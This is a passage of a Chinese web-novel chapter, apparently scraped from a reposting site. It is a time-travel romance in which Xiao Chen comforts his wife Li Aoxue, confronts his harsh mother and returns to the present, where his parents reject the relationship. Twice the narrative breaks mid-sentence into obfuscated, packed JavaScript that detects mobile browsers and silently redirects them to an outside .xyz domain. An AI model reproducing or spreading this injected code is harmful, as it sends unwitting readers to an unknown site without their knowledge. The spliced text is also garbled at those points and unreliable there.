李傲雪抬头看到肖晨,眼中闪过一丝惊喜,随即又强挤出一抹笑容,说道:“没有,少爷,母亲只是让我做了些事,我不累。你今日出去,可还顺利?” 肖晨看着她强装镇定的模样,心疼不已,但也知道此时不宜深究,便顺着她的话说道:“一切都好,出去转了转,也处理了些事情。”说着,他牵起李傲雪的手,柔声道:“走,咱们先回房,你也歇一歇。” 两人携手回到房间,李傲雪忙着去准备热水,好让肖晨洗漱。肖晨看着她忙碌的身影,暗暗下定决心,一定要找个合适的时机,好好跟母亲谈一谈,缓和母亲与傲雪之间的关系,不能再让傲雪受委屈了。 肖晨洗完澡,一身清爽地从内室走出,朝门外轻声唤道:“阿成。”阿成立刻推门而入,手中捧着一个精致的包裹,恭敬地递给肖晨后便退了出去。 肖晨走到正坐在床边的李傲雪身旁,脸上带着温柔的笑意,将包裹递到她面前,说道:“傲雪,这是我特意为你准备的,你看看合不合适。女孩子的皮肤娇嫩,可要好好呵护。” 李傲雪微微一愣,眼中满是惊讶与惊喜。她轻轻接过包裹,手指有些颤抖地解开系着的丝带,打开一看,里面是几样包装精美的护肤品,有珍珠玉容膏、玫瑰露,还有一些香粉。 “少爷,你……”李傲雪抬起头,眼中闪烁着感动的泪花,嘴唇微微颤抖,一时竟不知该说什么好。她没想到肖晨在忙碌之余,还能惦记着给自己买这些东西。 肖晨抬手轻轻拭去她眼角的泪花,柔声道:“傻丫头,怎么还哭了。喜欢吗?我听掌柜的说,这些对调养皮肤很有好处。” 李傲雪忙不迭点头,声音带着一丝哽咽:“喜欢,少爷,我很喜欢。你对我真好。”说着,她将头靠在肖晨肩上,心中满是幸福与甜蜜。这一刻,白天在肖母那儿所受的委屈,仿佛都在肖晨的这份心意中烟消云散了。 肖晨满眼深情,温柔地说道:“我不对你好对谁好,何况你对我也不错。我不能只顾自己……”话还未说完,李傲雪眼中爱意涌动,踮起脚尖,主动吻了上去。 肖晨微微一怔,随即眼中满是宠溺,抬手轻轻抚摸着她的背,动作轻柔舒缓,仿佛在安抚一只受惊的小鹿。他也缓缓回应着她的吻,唇齿间传递着无尽的眷恋与深情。 两人缓缓结束了这个深情的吻,肖晨微微喘着气,脸上带着一抹淡淡的红晕。他轻轻抬起李傲雪的下巴,目光温柔且带着一丝戏谑,笑着说道:“你呀,总是这么主动。倒让我都有些不好意思了。” 李傲雪双颊绯红,宛如熟透的苹果,她微微低下头,避开肖晨炽热的目光,娇嗔道:“还不是因为少爷对我这般好,我……我实在是忍不住嘛。”声音轻柔得如同呢喃,满是小女儿的娇羞与甜蜜。 肖晨看着她这副可爱的模样,忍不住轻笑出声,伸手将她轻轻揽入怀中,下巴抵在她的头顶,轻声说道:“我对你好是应该的。只是以后,别总是这么容易感动,不然我可得心疼了。”说着,他收紧了手臂,仿佛要将她融入自己的身体一般。 李傲雪在肖晨怀中,听着他有力的心跳,感受着这份温暖与安心,脸上洋溢着幸福的笑容。过了一会儿,她抬起头,眼神中带着俏皮与期待,说道:“少爷,那以后你还会给我准备更多这样的惊喜吗?” 肖晨低头看着她,眼中满是宠溺,刮了刮她的鼻子,笑道:“只要你喜欢,自然会有。你呀,想要什么只管跟我说,我定会满足你。” 李傲雪眼睛一亮,思索片刻后,说道:“我想和少爷一起去郊外踏青,去看看那漫山遍野的野花,感受春天的气息。不知道少爷可有空陪我?” 肖晨毫不犹豫地点点头:“当然有空,等选个风和日丽的日子,咱们就去。我还要带上笔墨纸砚,将那美景画下来,也把你画进画里。” 李傲雪听闻,开心得像个孩子,双手搂住肖晨的脖子,在他脸颊上亲了一下,说道:“少爷真好!我都迫不及待了。” 肖晨抱紧她,轻声说:“其实,只要能看到你这般开心,我做什么都愿意。不过,出门在外,你可得听我的,不能乱跑,知道吗?” 李傲雪乖巧地点点头:“知道啦,我肯定听话。少爷,那咱们去郊外踏青的时候,能不能带上一些好吃的,咱们在草地上野餐,想想就美好。” 肖晨笑着应道:“好,都依你。让厨房准备你最爱吃的点心和菜肴,咱们好好享受一番。” 李傲雪微微仰头,眼中闪过一丝忧虑,轻声说道:“少爷,你对我这么好,我有时候难免会患得患失。万一哪天有别的女人爱慕你,你会不会就不再像现在这样对我好了?我不是嫉妒,真的。要是……要是你喜欢上别的女人,我也是可以接受她们进府的。只是,你千万不要抛下我就好。”她声音越说越低,最后几近哽咽。 肖晨心中一紧,双手捧起她的脸,目光坚定而深情地看着她,认真说道:“不会的,傲雪,你怎么能这么想呢?我怎么会抛下你呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993187|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我自认为并非什么出众之人,能有你真心喜欢我,全心全意对我,我已经觉得无比幸运了。以前的我,总觉得自己平平无奇,甚至都没人多看我一眼,更别提有人真心喜欢我。可自从有了你,我的世界变得不一样了,你就是我生命中最重要的人,我又怎会去留意别人。” 李傲雪凝视着肖晨的眼睛,试图从他的眼神里寻找答案。看到的只有满满的真诚与爱意,她心中的担忧稍稍减轻了些。她吸了吸鼻子,破涕为笑:“少爷,我相信你。只是我太害怕失去你了,所以才会胡思乱想。” 肖晨将她紧紧拥入怀中,轻轻拍着她的背,安慰道:“别害怕,我会一直在你身边。以后不许再胡思乱想了,知道吗?不管发生什么,我都不会抛下你,我们会一直在一起。”李傲雪在他怀中用力地点点头,感受着肖晨给予的温暖与安心,仿佛所有的不安都在这一刻烟消云散。 肖晨抱紧李傲雪,深情地说道:“你可是我见过最特别的女子,温柔善良又聪慧。可你总无端担心我会抛弃你,真让我心疼。” 李傲雪眼眶微红,声音带着一丝颤抖:“少爷就是我的全部啊。我深知在这深宅大院,唯有做好自己,事事周全,家里人才会喜欢我,也才能让少爷一直对我欢心。” 肖晨微微皱眉,抬手轻轻擦去她眼角的泪,语重心长道:“傲雪,你无需如此小心翼翼。喜欢就是喜欢,无关其他。你本就很好,无需为了讨好谁而刻意改变。在我心里,你不做任何改变,就已是无可替代。我对你的心意,不会因任何事而改变。” 李傲雪抬头望着肖晨,眼中满是感动:“少爷,能听到你这番话,傲雪此生无憾。只是肖家规矩多,婆婆又对我要求严格,我实在怕做错事,让你为难。” 肖晨心疼地将她搂得更紧:“母亲那边,我会找机会好好沟通。你莫要给自己太大压力,以后有什么事,都与我商量,我们一起面对,可好?” 李傲雪用力点头,靠在肖晨怀里,感受着他的温暖与支持,心中满是慰藉。这一刻,她仿佛拥有了对抗一切困难的勇气。 肖晨说到:要是有一天,我去了别的地方,会有一个跟我一模一样的人出现做你的丈夫,依旧对你好。不知道他会不会爱你。你会接受他吗? 李傲雪听闻此言,心中猛地一紧,忙不迭从肖晨怀中抬起头,眼中满是惊慌与不可置信,急切道:“少爷,您为何要说这般话?您怎会去别的地方?又怎会有与您一模一样之人?我只要您,除了您,我谁都不接受。”她紧紧揪住肖晨的衣袖,仿佛生怕他下一秒就会消失不见。 肖晨看着她慌乱的模样,心中一阵刺痛,轻抚她的头发,柔声道:“我只是假设,假设而已。倘若真有那么一天,那个人能如我一般对你好,你……” 未等肖晨说完,李傲雪便坚决地打断他:“不会有那一天的,少爷。即便真有,我也不会接受。我爱的是您,是您的一切,您的笑容、您的关怀、您的温柔,这些旁人即便模样相同,也学不来。”说着,她的眼眶红了,泪水在眼眶里打转,“少爷,您不要离开我,好不好?” 肖晨见她如此,心疼不已,将她再次拥入怀中,自责道:“是我不好,不该说这些话让你担忧害怕。我不会离开你的,永远都不会。” 李傲雪紧紧依偎着肖晨,带着哭腔说道:“只要少爷不离开我就好,我别无所求。” 肖晨轻抚着她的背,半开玩笑却又似暗藏试探地说道:“那要是我现在的灵魂其实是个女孩,却依旧与你生活在一起,你会接受吗?” 李傲雪微微一愣,抬眸凝视着肖晨,眼中满是认真思索之色。片刻后,她缓缓开口:“少爷,于我而言,重要的并非您的躯壳,而是您的灵魂,您的心意。这些日子相处下来,我深知您的善良、温柔与深情。若您的灵魂真是女孩,可对我的好一如既往,那又有何妨?我想,我依旧会与您相伴,就像现在这样。因为,我爱的是您这个人,是您独一无二的灵魂。” 肖晨听着李傲雪这番诚挚的话语,心中满是感动与欣慰,将她搂得更紧,感慨道:“傲雪,能得你这般深情,是我此生之幸。我定不负你。” 李傲雪靠在肖晨怀里,感受着他温暖而有力的怀抱,心中满是笃定与安心。她轻声说道:“少爷,咱们说好了,不管遇到什么,都不许再提这些让人害怕的假设了。” 肖晨笑着点头,在她额头上轻轻落下一吻:“好,都听你的。刚刚是我不好,净说些有的没的,让你担惊受怕。” 两人相拥着,享受着这片刻的宁静与甜蜜。过了一会儿,李傲雪突然想起什么,抬起头看着肖晨,俏皮地说:“少爷,若是真有那么奇妙的事,你变成了女子,咱们的生活说不定会很有趣呢。” 肖晨挑了挑眉,配合着她的想象:“哦?怎么个有趣法?说来听听。” 李傲雪眼睛亮晶晶的,兴致勃勃地说道:“要是少爷变成女子,肯定也是极美的,说不定会有许多公子哥儿上门提亲呢。我呀,就守在你身边,把那些心怀不轨的人都赶走。” 肖晨被她的话逗笑,点了点她的鼻尖:“那可辛苦你了。不过依我看,就算我变成女子,心里也只有你,才不会理会那些提亲的人。” 李傲雪嘻嘻一笑:“那当然,少爷对我最好啦。不过话说回来,要是真那样,咱们还能像现在这样一起谈天说地,一起游山玩水吗?” 肖晨思索片刻,认真说道:“自然能。不管我变成什么样子,咱们之间的情谊不会变。而且,说不定还能以不一样的身份,去体验更多有趣的事儿。” 李傲雪听了,脸上洋溢着幸福的笑容:“嗯,只要能和少爷在一起,不管怎样我都开心。” 肖晨深情地看着李傲雪,诚挚说道:“我现在也离不开你啊,自从有了你,你让我的一切都改变了。”他在心中默默感慨,回想起在现代时,自己身为女孩子,倾心的皆是帅哥。然而如今身处古代,竟不知不觉被李傲雪深深影响,连性取向都仿佛发生了转变。但这种改变,却让他感受到前所未有的幸福与满足,他已然彻底爱上了眼前这个温柔善良的女人。 李傲雪脸颊绯红,眼中满是羞涩与喜悦,轻声道:“少爷,我也一样,您就是我生命里最重要的人。” 肖晨轻轻握住她的手,十指交缠,语气坚定:“傲雪,往后余生,无论遇到什么,我都不会松开你的手,定与你相伴到底。” 李傲雪微微点头,眼角溢出感动的泪花,在烛光的映照下,宛如晶莹的珍珠。 肖晨微微低下头,脸上带着一丝腼腆与犹豫,缓缓说道:“傲雪,我会努力尝试做好一个丈夫,对你的亲近,我也会慢慢去适应。只是我……我心里确实有点心结,对于男女之间这方面的事,我着实不太懂。” 李傲雪微微一愣,随即脸上浮现出一抹理解的笑容。她轻轻握住肖晨的手,柔声道:“少爷,您别为难自己。感情之事,本就需慢慢来。您有什么心结,不妨说与我听,咱们一起解开它。” 肖晨抬眼,看着李傲雪真诚的目光,心中稍感宽慰。他沉吟片刻,缓缓说道:“或许是过往经历的缘故,我对于男女间过于亲密的举动,总有些不知所措。并非我不想与你亲近,只是心底总有那么一丝顾虑,让我难以放开。” 李傲雪轻轻靠在肖晨肩头,轻声安慰道:“少爷,我明白。您无需着急,我们有的是时间。感情的增进并非一蹴而就,咱们可以从日常相处的点滴做起,您觉得自在舒适就好。只要您在我身边,我便心安。” 肖晨听着李傲雪善解人意的话语,心中的结仿佛松动了几分。他揽紧李傲雪,感慨道:“傲雪,有你这般体谅我,是我的福气。我会努力克服,不负你的深情。” 李傲雪抬头,与肖晨四目相对,眼中满是坚定与温柔:“嗯,我相信少爷。无论怎样,我都会一直陪着您。”两人相拥而坐,在静谧的氛围中,彼此的心愈发贴近,共同期许着未来的美好时光。 27. 回现代,父母不接受李傲雪 肖晨说到以后要是母亲在为难你,你一定要告诉我,不要让自己受苦,不然我会很心疼的。 李傲雪心中一阵暖流涌动,感动于肖晨对自己的关怀。她微微咬着嘴唇,眼中闪过一丝犹豫,终究还是将到嘴边的话咽了回去。 她轻轻点了点头,强颜欢笑道:“少爷放心,母亲她……她也并非是为难我,只是对我要求严格些罢了,都是为了我好,我能应付得来。” 肖晨微微皱眉,眼中满是担忧:“傲雪,你不必替母亲辩解。我知道她有时候确实有些严厉,若她的要求让你觉得委屈,一定不要瞒着我。你是我的妻子,我不能看着你受委屈。” 李傲雪心中五味杂陈,她深知肖晨的真心,可肖母之前郑重的嘱咐还在耳边回响:“傲雪,你若真心为晨儿好,就别拿这些琐事去烦他,他有自己的大业要忙,莫要让他分心。” 李傲雪深吸一口气,努力让自己的声音听起来轻松些:“真的没事,少爷。我和母亲相处得挺好的,您别担心了。您只要好好做您的事,便是对我最大的支持。” 肖晨凝视着李傲雪,似乎想从她的眼神中看出些端倪。见她神色坚定,不像是在说谎,心中的担忧稍稍减轻了些,但仍隐隐觉得有些不对劲。 他轻轻抚摸着李傲雪的头发,说道:“傲雪,你若是遇到什么难处,千万不要一个人扛着。我们是夫妻,理应同甘共苦。母亲那边,我也会找机会和她好好说说,让她明白,你的感受同样重要。” 李傲雪心中一紧,连忙说道:“少爷,真的不用。您别因为我和母亲起争执,那样我心里会过意不去的。我真的能处理好和母亲的关系,您相信我。” 肖晨看着李傲雪焦急的模样,无奈地叹了口气:“好吧,既然你这么说,我便暂且相信你。但你记住,若是有任何不妥,一定要第一时间告诉我,知道吗?” 李傲雪乖巧地点点头,心中却暗自发愁。她不知道该如何在不违背肖母嘱咐的前提下,又不让肖晨担心自己。在这份复杂的婆媳与夫妻关系中,她感到有些迷茫,却又坚定了自己要努力维持家庭和睦的决心,只希望未来一切都会慢慢好起来。 日子在李傲雪小心翼翼的维系中缓缓流淌。肖晨因着心中对李傲雪的牵挂,越发留意起她与母亲相处的细节。 一日午后,肖晨处理完事务回房,路过花园时,看到母亲与李傲雪正坐在亭中。他下意识地放慢脚步,想要悄悄观察二人。只见肖母面色严肃,正说着什么,而李傲雪则低着头,神情有些落寞,手中的帕子不自觉地绞着。 肖晨心中一紧,赶忙走上前去。“母亲,傲雪,你们在聊什么?”他笑着问道,可目光却紧紧锁在李傲雪身上。 肖母看了他一眼,说道:“没什么,我正教导傲雪一些管家的事宜。” 李傲雪连忙抬起头,挤出一丝笑容:“是啊,少爷,母亲教导我许多,我正受益匪浅呢。” 肖晨虽心中存疑,但见两人如此说,也不好再多问。待肖母离开后,他拉着李傲雪的手,轻声问道:“傲雪,你是不是有什么事瞒着我?方才我看你神色不对。” 李傲雪心中慌乱,忙摇头道:“没有,少爷,您多心了。母亲只是说我管家还有些生疏,我在反省自己呢。” 肖晨看着李傲雪闪躲的眼神,心中笃定她有事隐瞒。他轻轻叹了口气,将李傲雪拥入怀中:“傲雪,你我夫妻之间,无需这般小心翼翼。若母亲真有什么让你为难的,说出来,我们一起解决。你这样瞒着我,我只会更担心。” 李傲雪在肖晨怀中,泪水忍不住夺眶而出。这些日子以来,肖母对她的诸多要求和偶尔的指责,她都默默承受着,此刻在肖晨温暖的怀抱中,所有的委屈都如决堤的洪水般倾泻而出。 “少爷,母亲她……她总是觉得我做得不够好,无论我怎么努力,都难以让她满意。还让我别拿这些事烦你,说你有大事要忙……”李傲雪哽咽着说出了心里话。 肖晨听着,心中既心疼又有些生气。他轻抚着李傲雪的背,安慰道:“傲雪,委屈你了。母亲不该如此要求你,更不该让你独自承受这些。你是我的妻子,你的感受对我来说至关重要。” 说罢,肖晨便决定去找母亲好好谈一谈。他来到母亲的房间,恭敬地说道:“母亲,我想和您聊聊傲雪的事。” 肖母微微皱眉:“晨儿,我教导儿媳,也是为了她好,为了这个家好,你无需插手。” 肖晨诚恳地说道:“母亲,我知道您是为了这个家。可傲雪她已经很努力了,您对她的要求过于严苛,让她承受了许多委屈。她是我的妻子,我希望她能在这个家过得开心。” 肖母看着儿子坚定的眼神,心中微微动容。她思索片刻后说道:“晨儿,为娘或许是有些心急了。既然你如此在意她,为娘以后会注意的。” 肖晨心中一喜,赶忙说道:“多谢母亲。傲雪她心地善良,一心为这个家着想,往后还望母亲能多体谅她。” 从母亲房间出来后,肖晨迫不及待地找到李傲雪,将这个好消息告诉了她。李傲雪眼中泪光闪烁,既感动于肖晨为自己所做的一切,又欣慰于婆媳关系或许能就此改善。 肖母在房中来回踱步,越想越气,脸上满是不悦。“哼,平日里看着老老实实的,没想到还会在晨儿面前搬弄是非。”她眼神中透着一丝狠厉,暗自思忖着如何给李傲雪一个“教训”,又不能让儿子察觉。 过了几日,恰逢府中要举办一场重要的家宴,宴请诸多亲友。肖母觉得机会来了,便将李傲雪唤到跟前,神色严肃地说道:“傲雪,此次家宴至关重要,关系到咱们府中的颜面。府里上下的布置、菜品安排,都由你负责,可别出什么岔子。” 李傲雪心中虽有些担忧,但还是坚定地点点头:“母亲放心,儿媳定会尽心尽力。” 接下来的几天,李傲雪忙得不可开交。从挑选宴会上的菜品食材,到安排下人布置厅堂,每一个细节她都亲力亲为。然而,肖母却总是在一旁挑刺,不是说桌椅摆放不够整齐,就是嫌菜品不够精致。李傲雪只能咬着牙,一次次地返工。 家宴当天,一切看似准备就绪。宾客们陆续到来,肖母在厅堂中与众人寒暄,脸上挂着得体的笑容。李傲雪则在一旁小心伺候着,时刻留意着是否有需要她处理的事情。 就在大家入座,准备开宴之时,肖母突然脸色一变,指着桌上的一道菜说道:“傲雪,这道菜怎么回事?这可是咱们宴请贵客的家宴,你就准备这样的菜?” 众人的目光顿时都集中在那道菜上,李傲雪心中一紧,仔细看去,发现菜色确实有些不如预期。她赶忙解释道:“母亲,方才厨房那边……” 还没等她说完,肖母便打断她,冷冷说道:“平日里教你的都忘了?这点小事都办不好,真不知道你还能做什么。” 李傲雪满脸通红,心中委屈极了,可当着众人的面,她只能默默低头认错:“母亲息怒,儿媳这就去处理。” 宾客们面面相觑,纷纷露出尴尬的神情。肖晨在一旁看着,心中很不是滋味。他知道母亲这是故意刁难李傲雪,心中对母亲的做法有些不满,但又不好在众人面前发作。 待李傲雪匆匆去厨房重新安排菜品后,肖晨找了个借口,来到厨房。看到李傲雪正焦急地指挥着厨师重新做菜,他心疼地走上前,握住她的手:“傲雪,辛苦你了,母亲她太过分,故意为难你。” 李傲雪眼中闪着泪花,强颜欢笑道:“少爷,没事的,这是儿媳应该做的。母亲也是为了府里的颜面,只是我确实没做好。” 肖晨轻轻拭去她眼角的泪花,说道:“你已经做得很好了,是母亲太苛刻。等家宴结束,我定会和母亲好好说一说,不能再让你受这样的委屈。” 李傲雪感激地看着肖晨,微微点头。两人一起在厨房忙碌着,尽快将新的菜品准备好,送回宴席。而另一边,肖母看着李傲雪离开的背影,眼中闪过一丝得意,暗暗想着:“看你这次还怎么在府里立足,敢跟我儿子告状,这只是个开始。” 家宴好不容易结束,送走宾客后,肖晨立刻来到母亲房里。他脸色凝重,语气带着一丝不满:“母亲,今日家宴上您为何要如此刁难傲雪?她已经为这场家宴尽心尽力了。” 肖母坐在椅子上,脸色一沉:“晨儿,我这是在教导她如何管家,让她知道做事要严谨。她若是连这点事都承受不了,以后如何掌管咱们这一大家子?” 肖晨眉头紧皱,说道:“母亲,傲雪她一直都很努力,您平日里对她的要求已经够高了。今日在众人面前这般指责她,实在让她难堪。” 肖母看着儿子为李傲雪说话,心中有些不悦:“晨儿,你莫要被她的表象所迷惑。自从她进了咱们家门,你便处处向着她,为娘说她几句都不行了?” 肖晨深吸一口气,尽量让自己的语气平和些:“母亲,傲雪是我的妻子,我自然希望她能在咱们家过得舒心。她对我情深意重,对这个家也全心全意,还望母亲能多体谅她一些。” 肖母听了儿子的话,沉默片刻,缓缓说道:“晨儿,为娘知道你心疼她。可你要明白,咱们家有咱们家的规矩,她作为儿媳,理应遵守。为娘只是想让她变得更好,能帮你分担更多。” 肖晨见母亲态度有所缓和,便趁热打铁:“母亲,我明白您的苦心。但傲雪她还年轻,有些事需要慢慢来。往后还请母亲能多给她一些时间和包容,有什么问题,咱们私下里好好教导她,莫要再像今日这般,让她在众人面前下不来台。” 肖母微微点头:“罢了,看在你如此维护她的份上,为娘以后会注意的。但她也得更加用心,莫要再让我抓到把柄。” 肖晨心中一喜,赶忙说道:“多谢母亲。傲雪她一定会更加努力的。” 从母亲房里出来后,肖晨立刻去找李傲雪。此时李傲雪正独自一人坐在房里,神情有些落寞。肖晨心疼地走上前,将她拥入怀中:“傲雪,让你受委屈了。我已经和母亲谈过了,她以后会注意的。” 李傲雪靠在肖晨怀里,轻声说道:“少爷,我知道您为我好。其实母亲说的也有道理,我确实还有很多不足的地方。只是今日在众人面前,我……”说着,她的声音渐渐哽咽。 肖晨轻轻抚摸着她的头发,安慰道:“傲雪,你已经做得很好了。不要给自己太大压力,有我在,不会再让你受委屈。以后若母亲再为难你,一定要告诉我,咱们一起面对。” 李傲雪微微点头,心中满是感动。经过这件事,她和肖晨之间的感情愈发深厚,两人相互扶持,共同面对这个家中的风风雨雨。而肖母虽然表面上答应了肖晨,但心中对李傲雪的芥蒂并未完全消除,只是暂时收敛了自己的行为,暗中观察着李傲雪的一举一动,这也让李傲雪在府中的生活,依旧充满了未知的挑战…… 忙了一天的两人回到房间,肖晨看着房间里李傲雪的画,他在想下次回到现代看看父母。反正他已经掌握了方法。李傲雪看着他在盯着自己的画,心里有点羞涩,以为他是睹物思人,想要时时刻刻看见自己。 肖晨回过神来,察觉到李傲雪羞涩的神情,心中一动,却没有急着解释自己思绪飘向现代的事。他走到李傲雪身边,轻轻牵起她的手,笑着说:“傲雪,你的画如此生动,每次看到都觉得仿佛能看到画里的灵魂,就像看到了你一样。” 李傲雪脸颊绯红,低垂着眼眸,轻声说道:“少爷喜欢便好,我的画像没想到能入少爷的眼。” 肖晨凝视着李傲雪,心中满是温柔,可想到现代的父母,又不禁泛起一丝惆怅。他犹豫片刻,还是决定将心中所想告诉李傲雪:“傲雪,有件事我想跟你说。我……我掌握了回到我来的那个地方的方法,我想回去看看我的父母。” 李傲雪闻言,心中猛地一紧,抬头看向肖晨,眼中满是惊讶与担忧:“少爷,您要回去?那……那您还会回来吗?” 肖晨赶忙将李傲雪拥入怀中,安抚道:“傲雪,你放心,我一定会回来的。那是生我养我的地方,我只是放心不下父母,想回去看看他们是否安好。我在这里有你,有我们共同的生活,怎么可能舍得不回来。” 李傲雪在肖晨怀中微微颤抖,声音带着一丝哽咽:“少爷,我明白您思念父母,只是……只是我害怕,害怕您这一去,就再也不回来了。” 肖晨轻轻捧起李傲雪的脸,认真地看着她的眼睛,说道:“傲雪,你在我心中的地位无人能及。我向你保证,我一定会回来,回到你身边。等我见过父母,处理好那边的事,便立刻回来与你长相厮守。” 李傲雪眼中泪光闪烁,微微点头:“少爷,既然您心意已决,我便支持您。只是您一定要早日归来,我会每日都盼着您。” 肖晨紧紧抱住李傲雪,仿佛要将她的模样刻入心底:“傲雪,我不在的日子里,你要照顾好自己。等我回来,我们一起度过更多美好的时光。” 李傲雪对肖晨说到:我要是跟你一起回去,少爷的父母会接受我吗?他不能告诉她自己的性别。 肖晨心中一阵慌乱,面对李傲雪的询问,一时不知该如何作答。他深知现代父母的观念,自己与李傲雪回去,父母定会震惊不已,更别提接受李傲雪了。 看着李傲雪眼中的忐忑与不安,肖晨满心愧疚,急忙说道:“傲雪,不是这样,我的父母……他们生活的地方与这里大不相同,有很多复杂的规矩。但绝不是嫌弃你,你善良温柔,任何人都会喜欢你的。” 李傲雪微微皱眉,眼中仍有疑虑:“可少爷您都这般犹豫,是不是有什么难言之隐?若真的会给少爷和您的父母添麻烦,那……那我还是不去了。”说着,她低下头,神色有些落寞。 肖晨心疼地握住李傲雪的手,说道:“傲雪,你别多想。只是那边的一切都太过陌生,我怕你去了会不适应,会吃苦。我不想让你受任何委屈。” 李傲雪抬起头,眼中满是坚定:“少爷,只要能和您在一起,吃苦我也不怕。我只是担心您的父母不喜欢我,怕因为我让您为难。” 肖晨轻轻叹了口气,将李傲雪揽入怀中,思索片刻后说道:“傲雪,这样吧,此次我先回去,和父母说明我们的情况,让他们有个心理准备。等他们了解你之后,我再来接你,那时大家相处起来也会容易些,你看可好?” 李傲雪在肖晨怀中想了想,觉得这个办法似乎可行,便微微点头:“好吧,少爷。那您此去一定要早日归来,也代我向二老问好。” 肖晨抱紧李傲雪,说道:“放心吧,傲雪。我定会尽快回来。这段时间你在府里,要好好照顾自己,等我回来,我们便再也不分开。” 李傲雪应了一声,心中虽仍有些担忧,但还是选择相信肖晨的安排。肖晨一脸严肃地看着李傲雪,双手轻轻搭在她的肩头,郑重其事地说道:“傲雪,这件事你千万不能跟任何人说,包括府里的下人,还有其他亲近之人。那边的规矩和咱们这儿大不一样,要是消息走漏了,恐怕会生出许多麻烦。” 李傲雪见肖晨神情如此凝重,心中一凛,赶忙点头应道:“少爷放心,我嘴巴严实,定不会跟旁人透露半个字。” 肖晨暗暗松了口气,心中却又涌起一阵愁绪。他深知,一旦回到现代,向父母坦白自己如今与李傲雪的关系,父母必定难以接受同性恋这一事实。且不说父母那一辈思想保守,单是社会舆论压力,就足以让这个家陷入混乱。 李傲雪见肖晨又陷入沉思,脸上满是忧虑之色,忍不住轻声问道:“少爷,您是不是又在担心伯父伯母不接受我?其实您也别太忧心,若是他们真的不喜我,我……我也不会强求。只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993188|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少爷您能好好的,我便安心了。” 肖晨回过神来,看着李傲雪委屈又懂事的模样,心疼不已,忙说道:“傲雪,你别这么说。我既已认定你,就定会想办法让父母接受你。只是此事棘手,需要些时间。” 李傲雪勉强挤出一丝笑容:“嗯,我相信少爷。无论结果如何,我都陪着您。” 肖晨紧紧握住李傲雪的手,仿佛在给自己也给她力量,说道:“傲雪,你放心。等我回去处理好一切,定会风风光光接你过去。在这之前,你乖乖等我回来。” 李傲雪重重点头,眼中泪光闪烁,却强忍着不让泪水落下。 肖晨转身看向李傲雪,神情认真且严肃:“傲雪,你就在这儿守着,千万别让任何人进来。”李傲雪乖巧地点点头,眼神中满是信任与担忧交织的复杂情绪。 肖晨缓缓走到床边,将李傲雪的画像轻轻拿起,而后缓缓躺下。他深吸一口气,眼神凝视着画像上李傲雪栩栩如生的模样,心中默默念起“520”。 刹那间,房间内光芒一闪,一道耀眼却柔和的光束凭空出现。那光芒仿佛拥有着神秘的力量,将肖晨整个人笼罩其中。随着光芒闪烁,肖晨只觉一阵天旋地转,意识逐渐模糊。 当肖晨再次恢复清晰的意识时,发现自己的灵魂已然回到了现代的出租屋内,重新回到了自己原本的身体里。他环顾着熟悉又有些陌生的房间,各种现代的物品映入眼帘,心中五味杂陈。墙壁上贴着的海报、杂乱摆放的书籍,还有那充满科技感的电子设备,都与刚刚离开的古代世界形成了鲜明的对比。 肖晨坐在床边,一时有些怔愣,脑海中不断浮现出李傲雪的面容。他深知,接下来要面对的,是向父母坦白一切,以及说服他们接受自己在古代的这段感情,这无疑是一场艰难的挑战。 回到现代的肖晨美美地睡了一觉,连日来在古代的奔波让他身心俱疲,这一觉睡得格外香甜。第二天清晨,阳光透过窗户轻柔地洒在脸上,他悠悠转醒,简单洗漱后,便迫不及待地踏上回家的路。 刚到家门口,还没来得及敲门,门就“吱呀”一声开了,肖父肖母的笑脸出现在眼前。看到自己的女儿归来,二老眼中满是惊喜与欣慰,肖母更是眼眶泛红,赶忙把肖晨拉进屋里。 “宝贝女儿,你可算回来了,这段时间跑哪去了,也不跟家里说一声,可把我们担心坏了。”肖母一边念叨,一边上下打量着肖晨,生怕她瘦了累了。 肖晨看着父母关切的面容,心中一阵温暖,却又隐隐有些愧疚。笑着说道:“爸妈,我这不是好好的嘛,就是出去散散心,之前工作压力太大了。” 肖父笑着拍了拍肖晨的肩膀:“回来就好,回来就好。你妈这段时间天天念叨你,这下总算是放心了。” 一家人坐在沙发上,肖晨看着父母熟悉的面容,几次想要开口说出自己在古代的经历,以及和李傲雪的感情,可话到嘴边又咽了回去。他深知,这个话题太过震撼,父母一时半会儿恐怕难以接受。 肖母似乎察觉到肖晨有心事,关切地问道:“晨晨,你是不是有什么事想跟我们说啊?感觉你这次回来,好像有点不一样了。” 肖晨深吸一口气,鼓起勇气说道:“爸妈,我……我确实有件事,不知道该怎么跟你们说。”肖父肖母对视一眼,眼中满是疑惑,静静地等着肖晨开口。 肖晨咬了咬牙,鼓足勇气说道:“爸妈,我爱上了一个女孩,我想要跟她在一起。”话一出口,仿佛心中一块巨石落了地,但紧接着又被紧张和不安填满。 肖父肖母听到这话,脸色瞬间变得凝重起来。还没等肖晨把话说完,肖父就皱着眉头,语气坚决地打断道:“这不行!孩子,你怎么能这样子呢!从古至今,阴阳结合才是正道,这是自然规律,也是社会常理。” 